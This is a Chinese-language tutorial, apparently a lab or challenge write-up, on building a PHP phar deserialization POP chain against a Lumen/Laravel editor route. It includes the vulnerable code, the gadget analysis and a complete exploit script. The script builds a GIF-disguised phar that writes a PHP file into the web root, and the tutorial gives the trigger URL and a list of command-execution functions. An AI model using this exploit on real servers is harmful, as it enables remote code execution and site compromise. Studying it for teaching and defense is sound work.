PHP反序列化入门之寻找POP链(一)
字数 1782 2025-08-18 11:38:36
PHP反序列化入门之寻找POP链(一) 教学文档
环境要求与搭建
运行环境
- PHP >= 7.1.3
- 必要的PHP扩展:
- OpenSSL PHP Extension
- PDO PHP Extension
- Mbstring PHP Extension
安装环境
- 参考Lumen官方文档:https://laravel-china.org/docs/lumen/5.7/installation/2402
- 或使用P牛制作的docker环境:https://github.com/phith0n/code-breaking
漏洞分析
漏洞位置
- 文件:
routes/web.php - 路由:
/server/editor - 控制器:
app/Http/Controllers/EditorController.php中的main方法
关键漏洞点
在EditorController.php的download方法中,$url变量未经处理直接传入file_get_contents函数:
public function download($url) {
return file_get_contents($url);
}
变量回溯
$url来自doCatchimage方法中的$sources变量$sources由用户传入的source参数控制- 通过URL参数可控制:
http://website/server/editor/?action=Catchimage&source[]=phar://xxx.gif
利用思路
利用方式
通过phar反序列化触发漏洞,需要:
- 构造恶意的序列化数据
- 通过
phar://协议触发反序列化
PHPGGC常用函数
在PHP7.x中,许多函数被禁止动态调用,但仍可尝试:
- 命令执行类:
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec - 其他:
mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log - 文件迭代器类:
GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator
POP链构造
起点分析
从PendingBroadcast类的__destruct方法开始,重点寻找:
dispatch方法__call方法
关键类分析
1. ValidGenerator类
public function __call($method, $attributes) {
$res = call_user_func_array(array($this->generator, $method), $attributes);
return call_user_func($this->validator, $res);
}
特点:
- 先调用
call_user_func_array - 再将结果传入
call_user_func - 如果控制
$this->generator和$this->validator,可实现任意方法调用
2. DefaultGenerator类
public function __construct($default = null) {
$this->default = $default;
}
特点:
$this->default完全可控- 可用于控制
call_user_func_array的执行结果
3. ReturnCallback类
public function __construct($callback) {
$this->callback = $callback;
}
public function invoke(Invocation $invocation) {
return call_user_func_array($this->callback, $invocation->getParameters());
}
特点:
- 可实现
call_user_func_array调用 - 参数完全可控
4. StaticInvocation类
public function __construct($parameters) {
$this->parameters = $parameters;
}
public function getParameters() {
return $this->parameters;
}
特点:
- 实现
Invocation接口 - 可控制
call_user_func_array的参数
完整POP链
调用流程
PendingBroadcast::__destruct()ValidGenerator::__call()DefaultGenerator::__call()ReturnCallback::invoke()StaticInvocation::getParameters()- 最终执行
file_put_contents等目标函数
EXP构造
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
};
namespace Faker {
class DefaultGenerator {
protected $default;
public function __construct($default = null) {
$this->default = $default;
}
}
class ValidGenerator {
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($generator, $validator = null, $maxRetries = 10000) {
$this->generator = $generator;
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
};
namespace PHPUnit\Framework\MockObject\Stub {
class ReturnCallback {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
}
};
namespace PHPUnit\Framework\MockObject\Invocation {
class StaticInvocation {
private $parameters;
public function __construct($parameters) {
$this->parameters = $parameters;
}
}
};
namespace {
$function = 'file_put_contents';
$parameters = array('/var/www/html/11.php', '<?php phpinfo();?>');
$staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
$returncallback = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);
$defaultgenerator = new Faker\DefaultGenerator($staticinvocation);
$validgenerator = new Faker\ValidGenerator($defaultgenerator, array($returncallback, 'invoke'), 2);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($validgenerator, 123);
$o = $pendingbroadcast;
$filename = 'poc.phar'; // 后缀必须为phar
file_exists($filename) ? unlink($filename) : null;
$phar = new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt", "bar");
$phar->stopBuffering();
};
?>
利用步骤
- 生成恶意phar文件
- 上传到服务器
- 通过phar协议触发反序列化:
http://website/server/editor/?action=Catchimage&source[]=phar://path/to/poc.phar
防御措施
- 对用户输入进行严格过滤
- 禁用不必要的协议(如phar)
- 使用最新版本的PHP框架
- 对反序列化操作进行严格限制